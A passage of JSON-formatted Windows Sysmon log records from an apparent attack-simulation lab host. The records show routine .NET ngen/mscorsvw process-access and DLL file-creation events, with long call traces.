C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-00100BCF0F00}","TargetProcessId":"4768","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8110,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:48.604\r\nProcessGuid: {90617006-4324-5F2D-0000-00108B251000}\r\nProcessId: 4768\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12a0-0\\System.Windows.Forms.DataVisualization.Design.dll\r\nCreationUtcTime: 2020-08-07 12:03:48.604","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:48.604","ProcessGuid":"{90617006-4324-5F2D-0000-00108B251000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12a0-0\\System.Windows.Forms.DataVisualization.Design.dll","CreationUtcTime":"2020-08-07 12:03:48.604","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8111,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.650\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-00109BD30F00}\r\nTargetProcessId: 4448\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.650","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-00109BD30F00}","TargetProcessId":"4448","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8112,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.650\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-00109BD30F00}\r\nTargetProcessId: 4448\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.650","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-00109BD30F00}","TargetProcessId":"4448","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8113,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.650\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-00109BD30F00}\r\nTargetProcessId: 4448\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.650","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-00109BD30F00}","TargetProcessId":"4448","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8114,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.697\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-0010AAD70F00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.697","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-0010AAD70F00}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8115,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.697\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-0010AAD70F00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.697","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-0010AAD70F00}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8116,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-0010AAD70F00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-0010AAD70F00}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8117,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:48.822\r\nProcessGuid: {90617006-4324-5F2D-0000-0010D52C1000}\r\nProcessId: 4784\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12b0-0\\System.Windows.Input.Manipulations.dll\r\nCreationUtcTime: 2020-08-07 12:03:48.822","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:48.822","ProcessGuid":"{90617006-4324-5F2D-0000-0010D52C1000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12b0-0\\System.Windows.Input.Manipulations.dll","CreationUtcTime":"2020-08-07 12:03:48.822","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8118,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.869\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-431C-5F2D-0000-0010DEDD0F00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.